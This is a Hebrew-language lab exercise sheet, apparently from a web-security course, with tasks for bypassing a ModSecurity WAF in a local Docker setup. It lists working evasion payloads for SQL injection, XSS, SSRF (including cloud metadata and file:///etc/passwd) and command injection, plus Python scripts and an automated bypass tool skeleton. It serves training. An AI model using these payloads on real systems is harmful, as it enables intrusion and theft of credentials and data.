הbypass WAF לכל חולשה - תרגיל

הכנה

# Setting up an environment with ModSecurity CRS at paranoia level 3
docker run -d --name modsec-vuln -p 8080:80 \
    -e PARANOIA=3 owasp/modsecurity-crs:apache

---

תרגיל 1 - הbypass WAF ל-SQLi

נקודת injection:

GET /products?category=electronics HTTP/1.1

הquery בצד השרת:

SELECT * FROM products WHERE category = 'USER_INPUT'

משימה:

1. נסו את הpayloads הבאים ותעדו אילו נחסמים:
   

   ' UNION SELECT 1,2,3--
   ' UNION ALL SELECT 1,2,3--
   ' uNiOn SeLeCt 1,2,3--
   '/**/UNION/**/SELECT/**/1,2,3--
   'UNION(SELECT(1),(2),(3))--
   '/*!50000UNION*//*!50000SELECT*/1,2,3--
   'e0UNION SELECT 1,2,3--
   '%0aUNION%0aSELECT%0a1,2,3--
   

2. מצאו לפחות 3 שיטות שעוקפות את ה-WAF

3. בנו payload שמחלץ את שם המשתמש והסיסמה מטבלת users:
   

   import requests
   
   target = "http://localhost:8080/products"
   
   bypass_payloads = [
       # TODO: payloads that extract data
   ]
   
   for payload in bypass_payloads:
       r = requests.get(target, params={"category": payload})
       print(f"[{r.status_code}] {payload[:50]}...")
       if r.status_code == 200:
           print(f"    Response: {r.text[:100]}...")
   

4. בנו payload Time-based blind SQLi שמשתמש ב-BENCHMARK במקום SLEEP:
   

   ' AND IF(SUBSTRING(username,1,1)='a', BENCHMARK(10000000,SHA1('x')), 0)--
   

---

תרגיל 2 - הbypass WAF ל-XSS

נקודת injection:

<div class="search-results">
    <h2>Results for: USER_INPUT</h2>
</div>

ה-WAF חוסם: <script>, alert, onerror, onload, <iframe>, javascript:

משימה:

1. נסו את הpayloads הבאים:
   

   <svg onload=alert(1)>
   <svg/onload=alert(1)>
   <details open ontoggle=alert(1)>
   <img src=x onerror=confirm(1)>
   <input autofocus onfocus=prompt(1)>
   <marquee onstart=confirm(1)>
   <img src=x onerror=alert`1`>
   <img src=x onerror="&#97;lert(1)">
   <math><mtext><img src=x onerror=alert(1)></mtext></math>
   

2. מצאו payload שמריץ alert(document.cookie) ועוקף את כל הפילטרים

3. כתבו payload XSS ללא סוגריים:
   

   // Hint: throw + onerror, or location
   

4. כתבו payload שמשתמש ב-Function constructor עם encoding:
   

   // Hint: [].constructor.constructor('...')()
   

---

תרגיל 3 - הbypass WAF ל-SSRF

נקודת ה-SSRF:

GET /api/fetch?url=https://example.com HTTP/1.1

השרת מבצע בקשת HTTP ל-URL שהמשתמש מספק. ה-WAF חוסם:
- 127.0.0.1
- localhost
- 169.254.169.254
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16

משימה:

1. כתבו סקריפט שמנסה ייצוגים חלופיים של 127.0.0.1:
   

   import requests
   
   target = "http://localhost:8080/api/fetch"
   
   ip_variants = [
       "http://2130706433",           # decimal
       "http://0x7f000001",           # hex
       "http://0177.0.0.1",           # octal
       "http://[::1]",                # IPv6
       "http://[::ffff:127.0.0.1]",  # IPv6 mapped
       "http://127.1",                # short form
       "http://0",                    # resolves to 0.0.0.0
       "http://0x7f.1",               # partial hex
       # Add more representations
   ]
   
   for url in ip_variants:
       r = requests.get(target, params={"url": url})
       status = "PASS" if r.status_code == 200 else "BLOCKED"
       print(f"[{status}] {url}")
   

2. נסו bypass דרך DNS:

3. הגדירו A record שמצביע ל-127.0.0.1

4. השתמשו ב-nip.io: http://127.0.0.1.nip.io

5. נסו bypass דרך redirect:

6. הקימו שרת שמחזיר 302 ל-http://169.254.169.254/latest/meta-data/

7. נסו סכמות URL חלופיות:
   

   file:///etc/passwd
   gopher://127.0.0.1:6379/_INFO
   dict://127.0.0.1:6379/INFO
   

---

תרגיל 4 - הbypass WAF ל-Command Injection

נקודת injection:

GET /api/ping?host=8.8.8.8 HTTP/1.1

השרת מריץ:

ping -c 4 USER_INPUT

ה-WAF חוסם: ;, |, &, `, $(, cat, ls, /etc/passwd, whoami

משימה:

1. נסו שברי פקודה חלופיים:
   

   %0a (newline)
   %0d%0a (CRLF)
   

2. נסו wildcards:
   

   8.8.8.8%0a/???/??t /???/??ss??
   

3. נסו הרחבת משתנים:
   

   8.8.8.8%0a$'\x63\x61\x74' /etc/passwd
   

4. נסו מרכאות:
   

   8.8.8.8%0ac""at /etc/passwd
   8.8.8.8%0ac''at /e''tc/p''asswd
   

5. שלבו מספר טכניקות ומצאו payload שמריץ cat /etc/passwd:
   

   import requests
   
   target = "http://localhost:8080/api/ping"
   
   cmd_payloads = [
       # TODO: complete
   ]
   
   for payload in cmd_payloads:
       r = requests.get(target, params={"host": payload})
       print(f"[{r.status_code}] {payload}")
       if r.status_code == 200 and "root:" in r.text:
           print("[+] Success! The content was exposed")
   

---

תרגיל 5 - בדיקת WAF אוטומטית

משימה:

כתבו כלי Python אוטומטי שמקבל URL ונקודת injection, ומנסה באופן אוטומטי bypasses לכל סוגי החולשות:

class AutoWAFBypass:
    def __init__(self, target_url, param_name, method='GET'):
        self.target = target_url
        self.param = param_name
        self.method = method

    def detect_vulnerability_type(self):
        """Attempt to identify the vulnerability type"""
        # TODO: send basic payloads and identify by response
        pass

    def generate_sqli_bypasses(self, base_payload):
        """Generate SQLi payloads with bypasses"""
        # TODO: complete
        pass

    def generate_xss_bypasses(self, base_payload):
        """Generate XSS payloads with bypasses"""
        # TODO: complete
        pass

    def generate_ssrf_bypasses(self, target_ip):
        """Generate SSRF payloads with bypasses"""
        # TODO: complete
        pass

    def generate_cmdi_bypasses(self, command):
        """Generate Command Injection payloads with bypasses"""
        # TODO: complete
        pass

    def run_all(self):
        """Run all bypasses"""
        vuln_type = self.detect_vulnerability_type()
        # TODO: complete
        pass

# Usage
bypass = AutoWAFBypass("http://localhost:8080/search", "q")
bypass.run_all()

1. השלימו את כל המתודות
2. הוסיפו לפחות 10 payloads לכל סוג חולשה
3. הוסיפו דיווח שמסכם: איזה payloads עברו, באיזה status code, ומהי התגובה

---

תרגיל 6 - אתגר משולב

ה-WAF מגן על אפליקציה עם מספר נקודות חולשה:

נקודת קצה	חולשה	פרמטר
/search	XSS	q
/products	SQLi	category
/fetch	SSRF	url
/tools/ping	Command Injection	host

משימה:

1. לכל נקודת קצה, מצאו לפחות bypass אחת שעובדת
2. שלבו טכניקות מפרקים שונים:
3. הencoding (פרק 8.2) + תחביר חלופי (פרק זה)
4. HPP (פרק 8.3) + תחביר חלופי
5. Unicode (פרק 8.4) + תחביר חלופי
6. פרוטוקול (פרק 8.5) + תחביר חלופי
7. תעדו את כל השילובים שניסיתם ואת התוצאות
8. דרגו: איזה שילוב הכי יעיל לכל סוג חולשה?